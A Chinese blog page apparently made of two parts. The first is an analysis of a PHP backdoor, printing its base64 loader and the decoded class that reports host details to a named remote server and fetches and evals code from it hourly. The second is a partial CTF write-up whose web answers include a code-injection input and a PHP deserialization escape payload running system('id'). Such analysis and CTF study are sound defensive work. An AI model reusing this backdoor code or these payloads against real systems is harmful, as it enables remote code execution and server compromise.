    $code='aWYoIWNsYXNzX2V4aXN0cygiZmV0Y2hfdGFzayIpKQ0Kew0KICAgIGNsYXNzIGZldGNoX3Rhc2sNCiAgICB7DQogICAgICAgIHByaXZhdGUgJGlzX3Jvb3Q9ZmFsc2U7DQoNCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJHRoaXMtPmlzX3Jvb3Q9KCR1aWQ9PT0wKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIHJ1bl9pbl9mb3JrKCkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygicGNudGxfZm9yayIpIHx8ICFmdW5jdGlvbl9leGlzdHMoInBjbnRsX3dhaXRwaWQiKSApcmV0dXJuIGZhbHNlOw0KDQogICAgICAgICAgICAkY29kZT0kdGhpcy0+ZmV0Y2goKTsNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3Rhc2tfdGltZV9maWxlKHRydWUpOw0KICAgICAgICAgICAgaWYoISRjb2RlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcGlkPXBjbnRsX2ZvcmsoKTsNCiAgICAgICAgICAgIGlmKCRwaWQ9PTApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYocGNudGxfZm9yaygpKWV4aXQoMCk7DQogICAgICAgICAgICAgICAgdHJ5ew0KICAgICAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIH1jYXRjaChcRXhjZXB0aW9uICRlKXskdGhpcy0+cG9zdF9lcnJvcigkZSk7fWNhdGNoKFxUaHJvd2FibGUgJGUpeyR0aGlzLT5wb3N0X2Vycm9yKCRlKTt9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH1lbHNlIGlmKCRwaWQ+MCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwY250bF93YWl0cGlkKCRwaWQsJHMpOw0KICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9ZWxzZSBpZigkcGlkPDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW5fc3RhdGljKCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRhc2s9bmV3IGZldGNoX3Rhc2soKTsNCiAgICAgICAgICAgICRjb2RlPSR0YXNrLT5mZXRjaCgpOw0KICAgICAgICAgICAgJHRhc2stPl9fd3JpdGVfdGFza190aW1lX2ZpbGUodHJ1ZSk7DQogICAgICAgICAgICBpZighJGNvZGUpcmV0dXJuIHRydWU7DQoNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9Y2F0Y2goXEV4Y2VwdGlvbiAkZSl7JHRhc2stPnBvc3RfZXJyb3IoJGUpO31jYXRjaChcVGhyb3dhYmxlICRlKXskdGFzay0+cG9zdF9lcnJvcigkZSk7fQ0KICAgICAgICAgICAgDQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIG1ha2VfYmFzZV9wYXJhbXMoKQ0KICAgICAgICB7DQoNCiAgICAgICAgICAgICRzbmFtZT1waHBfc2FwaV9uYW1lKCk7DQogICAgICAgIA0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJG9zPWRlZmluZWQoIlBIUF9PUyIpP0Bjb25zdGFudCgiUEhQX09TIik6IiI7DQogICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCg0KICAgICAgICAgICAgJHNmaWxlPScvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7JHNmaWxlWzJdPSdzJzskc2ZpbGVbM109J2UnOw0KICAgICAgICAgICAgJHNmaWxlPXN5c19nZXRfdGVtcF9kaXIoKS4kc2ZpbGU7DQogICAgDQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICAkaXNfd2luPSggc3RydG9sb3dlcihzdWJzdHIoJG9zLCAwLCAzKSk9PSJ3aW4iICk7DQogICAgICAgICAgICBpZigkaXNfd2luJiYkdXNlcikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcGZpbGUuPSR1c2VyOw0KICAgICAgICAgICAgICAgICRzZmlsZS49JHVzZXI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaGlkID0gQGludHZhbChmaWxlX2dldF9jb250ZW50cygkc2ZpbGUuImhpZCIpKTsNCiAgICAgICAgICAgIGlmKCEkaGlkKSRoaWQgPSBAaW50dmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCRwZmlsZS4iaGlkIikpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkaGRhdGE9YXJyYXkoImhvc3RfaWQiPT4kaGlkLCJob3N0X3VpZCI9PiR1aWQsImhvc3RfdmVyc2lvbiI9PnBocF91bmFtZSgpLCJob3N0X29zIj0+JG9zLCJob3N0X25hbWUiPT5nZXRob3N0bmFtZSgpLCJzYXBpX25hbWUiPT4kc25hbWUsInBocF92ZXJzaW9uIj0+cGhwdmVyc2lvbigpKTsNCiAgICAgICAgICAgIHJldHVybiAkaGRhdGE7ICAgICAgICAgICANCiAgICAgICAgfQ0KDQogICAgICAgIHByaXZhdGUgJG5leHRfZXJyb3JfdGltZT0wOw0KICAgICAgICBmdW5jdGlvbiBwb3N0X2Vycm9yKCRlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZih0aW1lKCk8JHRoaXMtPm5leHRfZXJyb3JfdGltZSlyZXR1cm4gIiI7DQogICAgICAgICAgICAkdGhpcy0+bmV4dF9lcnJvcl90aW1lPXRpbWUoKSs3MjAwOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZT1zdHJ2YWwoJGUpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgICAgICAgICAkaGRhdGFbJ21zZyddPWFycmF5KCJ0aXRsZSI9PiJjbGkuZXJyb3IiLCJjb250ZW50Ij0+c3RydmFsKCRlKSk7DQogICAgDQogICAgICAgICAgICAkcG9zdGRhdGEgPSBodHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCiAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gJHBvc3RkYXRhLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxNSANCiAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgKTsNCiAgICANCiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsNCiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvc2F2ZT8nLCBmYWxzZSwgJGNvbnRleHQpOw0KICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdGFza190aW1lX2ZpbGUoJGRpc2FibGVfY2dpPWZhbHNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICBpZiggc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSk9PSJ3aW4iICkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCiAgICAgICAgICAgICAgICBpZigkdXNlcikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgICAgICAgICAgICAgJHBmaWxlLj0kdXNlcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdG9fdGltZV9maWxlKCRwZmlsZSwkZGlzYWJsZV9jZ2k9ZmFsc2UpDQogICAgICAgIHsNCg0KICAgICAgICAgICAgaWYoJHRoaXMtPmlzX3Jvb3QpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTEiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlKSlAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsdGltZSgpKzcyMDAqMik7DQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDEiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgIHB1YmxpYyBmdW5jdGlvbiBmZXRjaCgpDQogICAgICAgIHsNCiAgICAgICAgICAgICRnej1mdW5jdGlvbl9leGlzdHMoImd6dW5jb21wcmVzcyIpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgDQogICAgICAgICAgICAkaGRhdGFbJ2d6J109JGd6Ow0KICAgICAgICAgICAgJGhkYXRhWydfdCddPXRpbWUoKTsNCiAgICAgICAgICAgICR1cmw9J2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvZmV0Y2g/Jy5odHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkZGF0YT1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZigkZGF0YSAmJiAkZ3opJGRhdGE9QGd6dW5jb21wcmVzcygkZGF0YSk7DQogICAgICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgICAgIH0NCiAgICB9Ow0KfTs=';
    $code=base64_decode($code);
    $code.=";fetch_task::run_static();";
    return $this->process->start_php_process($code);
}

在函数fetch_code_and_run​中设定Fetch_task​每小时执行一次,这个地方的$code​我们不能直接复制出来解密,将+​换行解密,得到:

if(!class_exists("fetch_task"))
{
    class fetch_task
    {
        private $is_root=false;

        public function __construct()
        {
            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $this->is_root=($uid===0);
        }

        public function run_in_fork()
        {
            if(!function_exists("pcntl_fork") || !function_exists("pcntl_waitpid") )return false;

            $code=$this-fetch();
            $this->__write_task_time_file(true);
            if(!$code)
            {
                return true;
            }

            $pid=pcntl_fork();
            if($pid==0)
            {
                if(pcntl_fork())exit(0);
                try{
                    @eval($code);

                }catch(\Exception $e){$this-post_error($e);}catch(\Throwable $e){$this->post_error($e);}

                exit(0);
            }else if($pid0)
            {
                pcntl_waitpid($pid,$s);

                return true;
            }else if($pid<0)
            {
                return false;
            }
        }

        public static function run_static()
        {
            $task=new fetch_task();
            $code=$task->fetch();
            $task->__write_task_time_file(true);
            if(!$code)return true;

            try{
                @eval($code);

            }catch(\Exception $e){$task->post_error($e);}catch(\Throwable $e){$task-post_error($e);}

            return true;
        }

        function make_base_params()
        {

            $sname=php_sapi_name();

            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $os=defined("PHP_OS")?@constant("PHP_OS"):"";
            $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');

            $sfile='/sess_zziudbrorkdadhip90v9jmj';$sfile[2]='s';$sfile[3]='e';
            $sfile=sys_get_temp_dir().$sfile;

            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            $is_win=( strtolower(substr($os, 0, 3))=="win" );
            if($is_win&&$user)
            {
                $pfile.=$user;
                $sfile.=$user;
            }
            $hid = @intval(file_get_contents($sfile."hid"));
            if(!$hid)$hid = @intval(file_get_contents($pfile."hid"));

            $hdata=array("host_id"=>$hid,"host_uid"=>$uid,"host_version"=>php_uname(),"host_os"=$os,"host_name"=>gethostname(),"sapi_name"=>$sname,"php_version"=phpversion());
            return $hdata;       
        }

        private $next_error_time=0;
        function post_error($e)
        {
            if(time()<$this->next_error_time)return "";
            $this-next_error_time=time()+7200;

            $e=strval($e);

            $hdata=$this->make_base_params();
            $hdata['msg']=array("title"=>"cli.error","content"=strval($e));

            $postdata = http_build_query($hdata);
            $options = array(
              'http' => array(
                'method' => 'POST',
                'header' => 'Content-type:application/x-www-form-urlencoded',
                'content' => $postdata,
                'timeout' => 15 
              )
            );

            $context = stream_context_create($options);
            $result = @file_get_contents('http://v20.thinkphp1.com/v20/save?', false, $context);
            return $result;
        }

        function __write_task_time_file($disable_cgi=false)
        {
            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            if( strtolower(substr(PHP_OS, 0, 3))=="win" )
            {
                $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');
                if($user)
                {
                    $this->__write_to_time_file($pfile,$disable_cgi);
                    $pfile.=$user;
                }
            }

            $this->__write_to_time_file($pfile,$disable_cgi);
        }

        function __write_to_time_file($pfile,$disable_cgi=false)
        {

            if($this->is_root)
            {
                $file=$pfile."i11";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                $file=$pfile."i10";
                if(file_exists($file))@file_put_contents($file,time()+7200*2);
                if($disable_cgi)
                {
                    $file=$pfile."i01";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);

                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }else
            {
                $file=$pfile."i10";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                if($disable_cgi)
                {
                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }
        }

        public function fetch()
        {
            $gz=function_exists("gzuncompress");

            $hdata=$this->make_base_params();

            $hdata['gz']=$gz;
            $hdata['_t']=time();
            $url='http://v20.thinkphp1.com/v20/fetch?'.http_build_query($hdata);
            $data=@file_get_contents($url);
            if($data && $gz)$data=@gzuncompress($data);
            return $data;
        }
    };
};

解密后发现是向远程服务器http://v20.thinkphp1.com/v20/fetch​请求gzuncompress​解压执行。

image

image

通过请求php-fpm​来下载 winnti 后门木马:

image

于今年3月捕获,IP:156.251.163.120:443

image

2024年新疆“天山固网杯”网络安全技能竞赛 partly WriteUp

MISC

特殊流量

看流量,结合题目,分析后发现找WebSocket的包,其余都是干扰流量,找到包追踪tcp,得到,在601tcp流得到

image

然后解密base64就行

Repair_PNG

Hint.txt给出了密码:

挂载VC得到一张png,拖进010报错,逐个分析数据块,发现从chunk·16开始出现问题:

image

长度被篡改,而且用于篡改的内容很明显是AES等对称加密的密文,首先根据正常的块得到块长度:

image

在010里搜索IDAT,可以发现还有好多被篡改长度的块,而且用于篡改的值都是四字节的AES密文,例如:

image

那么将每个被篡改的IDAT前的四字节提取出来拼接即可得到AES密文

U2FsdGVkX1/HfiTldZcyWOWmQffHye5saaOlP/ZUp3quYjfBSplwZKY8mfpyb5nJAy+MntKQQVvuNnupJoLDjA==

将每个对应块长度的位置以0000fff4替换即可修复图片,图片修复完成后即可在图片上得到密码:

在线网站解密即可:

https://www.sojson.com/encrypt_des.html

流量分析3

WireShark打开追TCP流,可以看到只有4个流

其中流1包含了整个包最长的几条流量,分析应该是上传了一个png图片

追流可以发现有png头

image

文件 -> 导出对象 -> HTTP-将其保存下来

image

然后010打开处理一下成这样即可改后缀为png成功打开

image

StegSolve查看图片各通道,可在R 0通道发现半个二维码

image

但是只有半个无法扫描,继续看流量发现一个提示

image

写个脚本将每个颜色的16个通道都保存下来

import cv2
import numpy as np
import os

def extract_bit_planes(image_path, output_folder):
    # 读取16位PNG图像,保持原始位深
    img = cv2.imread(image_path, cv2.IMREAD_UNCHANGED)
    if img is None:
        print(f"无法读取图像: {image_path}")
        return

    # 检查图像是否为多通道(RGB)
    if len(img.shape) != 3 or img.shape[2] < 3:
        print("图像不是RGB多通道图像。")
        return

    # 创建输出文件夹(如果不存在的话)
    if not os.path.exists(output_folder):
        os.makedirs(output_folder)

    # 分离RGB通道
    # OpenCV以BGR顺序读取图像,所以顺序是 B, G, R
    channels = cv2.split(img)
    channel_names = ['B', 'G', 'R']

    for idx, channel in enumerate(channels):
        channel_name = channel_names[idx]
        for bit in range(16):
            # 提取对应bit位
            bit_mask = 1 << bit
            bit_plane = cv2.bitwise_and(channel, bit_mask)
            # 将bit平面转换为0和255,方便可视化
            bit_plane = np.where(bit_plane > 0, 255, 0).astype(np.uint8)
            # 构造保存路径
            filename = f"{channel_name}_bit_{bit}.png"
            save_path = os.path.join(output_folder, filename)
            # 保存图像
            cv2.imwrite(save_path, bit_plane)
            print(f"保存: {save_path}")

if __name__ == "__main__":
    # 设置输入图像路径和输出文件夹
    image_path = r"upload.png"  # 替换为你的图像路径
    output_folder = r"bit_planes_output"

    extract_bit_planes(image_path, output_folder)

即可在分离出的通道找到两部分的二维码

image

image

image

简单的拼一下用微信扫码即可得到flag

image

WEB

web1

在show.php?file=存在任意文件读取

首先file=index.php

<?php
error_reporting(0);
// 检查是否有提交数据
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $notify1 = $_POST['notify1'];
    $notify2 = $_POST['notify2'];
    $notify3 = $_POST['notify3'];

    // 将留言写入文件
    $open = fopen("./messagesUes.php", "w");
    $str = '<?php ';
    $str .= '$notify1 = "' . $notify1 . '"; ';
    $str .= '$notify2 = "' . $notify2 . '"; ';
    $str .= '$notify3 = "' . $notify3 . '"; ';
    $str .= "?>";
    fwrite($open, $str);
    fclose($open);
    // 包含文件以加载留言
    include('./messagesUes.php');
} else {
    // 默认留言为空
    $notify1 = $notify2 = $notify3 = '';
}

// HTML 部分
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>留言板</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(to right, #333, #fff);
            color: #333;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            position: relative;
        }
        .container {
            background-color: rgba(255, 255, 255, 0.9);
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            width: 400px;
            text-align: center;
        }
        h1 {
            color: #444;
        }
        label {
            display: block;
            margin: 10px 0 5px;
        }
        textarea {
            width: 100%;
            height: 80px;
            margin-bottom: 10px;
            padding: 8px;
            border: 1px solid #ccc;
            border-radius: 4px;
            resize: none;
        }
        button {
            padding: 10px 15px;
            border: none;
            border-radius: 4px;
            background-color: #5cb85c;
            color: white;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #4cae4c;
        }
        h2 {
            margin-top: 20px;
            color: #555;
        }
        p {
            margin: 5px 0;
        }
        /* 头像样式,确保定位在整个页面的右上角 */
        .avatar {
            position: absolute;
            top: 20px; /* 与页面顶部的距离 */
            right: 20px; /* 与页面右侧的距离 */
            text-align: center;
        }
        .avatar img {
            border-radius: 50%;
            width: 60px; /* 头像宽度 */
            height: 60px; /* 头像高度 */
        }
        .avatar a {
            display: block;
            margin-top: 5px; /* 距离头像的间隙 */
            color: #007bff;
            text-decoration: none;
            font-size: 12px; /* 调整字体大小 */
        }
        .avatar a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>

<!-- 右上角头像及链接,放在 body 内 -->
<div class="avatar">
    <img src="./img/1.jpg" alt="头像">
    <a href="/show.php?file=img/1.jpg" target="_blank">点击查看头像</a>
</div>

<div class="container">
    <h1>留言板</h1>
    <form method="POST">
        <label for="notify1">留言 1:</label>
        <textarea name="notify1" id="notify1"><?php echo htmlspecialchars($notify1); ?></textarea>

        <label for="notify2">留言 2:</label>
        <textarea name="notify2" id="notify2"><?php echo htmlspecialchars($notify2); ?></textarea>

        <label for="notify3">留言 3:</label>
        <textarea name="notify3" id="notify3"><?php echo htmlspecialchars($notify3); ?></textarea>

        <button type="submit">提交留言</button>
    </form>

    <h2>留言内容:</h2>
    <p>留言 1: <?php echo htmlspecialchars($notify1); ?></p>
    <p>留言 2: <?php echo htmlspecialchars($notify2); ?></p>
    <p>留言 3: <?php echo htmlspecialchars($notify3); ?></p>
</div>

</body>
</html>

发现

    // 将留言写入文件
    $open = fopen("./messagesUes.php", "w");
    $str = '<?php ';
    $str .= '$notify1 = "' . $notify1 . '"; ';
    $str .= '$notify2 = "' . $notify2 . '"; ';
    $str .= '$notify3 = "' . $notify3 . '"; ';
    $str .= "?>";
    fwrite($open, $str);
    fclose($open);
    // 包含文件以加载留言
    include('./messagesUes.php');

写入文件来进行文件包含的,所以即可

";system("id");#

d6d0d6658042988b2ffdb9a83db7038

5449201c786cb0562814919c81999ba

web2

<?php
function checker($s){
    $ss = str_replace("fakes","fake",$s);
    return $ss;
}

Class A1{
    public $test;
    public $test1;
    public $test2;
    public $test3;
    public function __construct($test1){
        $this->test1=$test1;
    }
    public function __invoke(){
        echo "welcome";
    }

}

Class B1{
    public $test1;
    public $test2;
    public function __construct($test1,$test2){
        $this->test1=$test1;
        $this->test2=$test2;
    }

    public function __destruct(){
//        $this -> test1();
    }
}

Class C1{
    public $test1;
    public function __construct(){
        $this->test1="test1";
    }
    public function __destruct()
    {
        if(preg_match('/[a-z0-9]/i', $this->test1))
        {
            echo "sry";
        }
    }
}

Class D1{
    public $test1;
    public $test2;
    public function __construct()
    {
        $this->test1="echo";
        $this->test2="fakes";
    }

    public function __toString()
    {
        echo 1;
        // TODO: Implement __toString() method.
        call_user_func($this->test1,$this->test2);

    }
}
$a = $_POST["a"];
$b = $_POST["b"];
if(isset($_POST["a"])&&isset($_POST["b"])){
//    echo 1;
    $b = new B1($a,$b);
    $c = checker(serialize($b));
    echo $c;
    $d = unserialize($c);
}
else{
    highlight_file(__FILE__);
}
//unserialize('O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}');

发现反序列化字符串逃逸减少

首先写一个能够rce的payload

<?php
error_reporting(0);
function checker($s){
    $ss = str_replace("fakes","fake",$s);
    return $ss;
}

Class A1{
    public $test;
    public $test1;
    public $test2;
    public $test3;
    public function __construct($test1){
        $this->test1=$test1;
    }
    public function __invoke(){
        echo "welcome";
    }

}

Class B1{
    public $test1;
    public $test2;
    public function __construct($test1,$test2){
        $this->test1=$test1;
        $this->test2=$test2;
    }

    public function __destruct(){
        $this -> test1();
    }
}

Class C1{
    public $test1;
    public function __construct(){
        $this->test1="test1";
    }
    public function __destruct()
    {
        if(preg_match('/[a-z0-9]/i', $this->test1))
        {
            echo "sry";
        }
    }
}

Class D1{
    public $test1;
    public $test2;
    public function __construct()
    {
        $this->test1="system";
        $this->test2="id";
    }

    public function __toString()
    {
        // TODO: Implement __toString() method.
        call_user_func($this->test1,$this->test2);

    }
}
$a = new C1();
$a->test1 = new D1();
echo serialize($a);
php test.php 
O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}uid=1000(xxx)

这样获取到我们的逃逸的payload,不过少了一点细节,也就是

";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}

我们需要逃逸这个

发现了减少逃逸的字符串为

";s:5:"test2";s:100:"aa

所以payload就是

a=fakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakes&b=aa";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}

image

REVERSE

ezVM

其实就是程序每次读取的输入后亦或的一个字符串,直接写出解密脚本

import struct

# 定义密钥和数据
key = b"YesYouFindtheVMKeyBravo"
buf2 = [0x1D22251D, 0x3343383F, 1108811830, 0x3B20483F, 0x2E2F1E65, 0x286C29]

# 将整数数组 buf2 转换为字节数组
data = bytearray()
for num in buf2:
    data += struct.pack("<I", num)

# 解密操作
for i in range(len(key)):
    data[i] = (data[i] - i) & 0xFF  # 确保值在 0-255 范围内
    data[i] ^= key[i]

# 将解密后的数据转换为字符串并打印
result_string = data[:len(key)].decode('utf-8')
print(result_string)

checkyourflag

image

在字符串这里看到win,跟踪函数调用找到check的位置

image

可以看到通过v3的值分别进行异或

image

后面就是简单异或拷打GPT就行

提取:

# 给定的 v27 数组
v27 = [
    0xDA53D840, 0xAB3BDF50, 0xA920AC7C, 0xAA74FB20, 0xFA73AF22,
    0xFC20AE2E, 0xAA7DAE7F, 0xFA21FA25, 0xFF73FA70, 0xE423AD75
]

# 将每个整数拆解为逐一字节
def split_into_bytes(v27):
    byte_array = []

    for value in v27:
        # 使用 little-endian 方式拆分每个 32 位整数为字节
        bytes_rep = value.to_bytes(4, byteorder='little')  # 转为4个字节(小端格式)
        byte_array.extend(bytes_rep)  # 将这些字节添加到数组中

    return byte_array

# 调用函数并获取字节数组
byte_array = split_into_bytes(v27)

# 打印每10个字节换行,每个字节之间用逗号分割
print("Byte sequence:")
for i in range(0, len(byte_array), 10):
    # 获取当前行的10个字节
    line = byte_array[i:i+10]
    # 格式化每个字节为十六进制并连接为字符串
print(", ".join(f"0x{byte:02X}" for byte in line))

解密:

# 密文v27数组的值(从代码中提取)
v27 = [
    0x40, 0xD8, 0x53, 0xDA, 0x50, 0xDF, 0x3B, 0xAB, 0x7C, 0xAC,
    0x20, 0xA9, 0x20, 0xFB, 0x74, 0xAA, 0x22, 0xAF, 0x73, 0xFA,
    0x2E, 0xAE, 0x20, 0xFC, 0x7F, 0xAE, 0x7D, 0xAA, 0x25, 0xFA,
    0x21, 0xFA, 0x70, 0xFA, 0x73, 0xFF, 0x75, 0xAD, 0x23, 0xE4
]

# 解密函数,逆向加密过程
def decrypt(v27):
    # 遍历密文数组进行逆向解密
    for i in range(len(v27)):
        if (i & 1) != 0:  # 对于奇数位置的元素,执行 XOR 操作
            v27[i] ^= 0x99
        else:  # 对于偶数位置的元素,先执行 XOR 操作,再加上 30
            v27[i] ^= 0x66
            v27[i] += 30

    # 返回解密后的 flag
    return bytes(v27).decode(errors='ignore')

# 解密并输出 flag
flag = decrypt(v27)
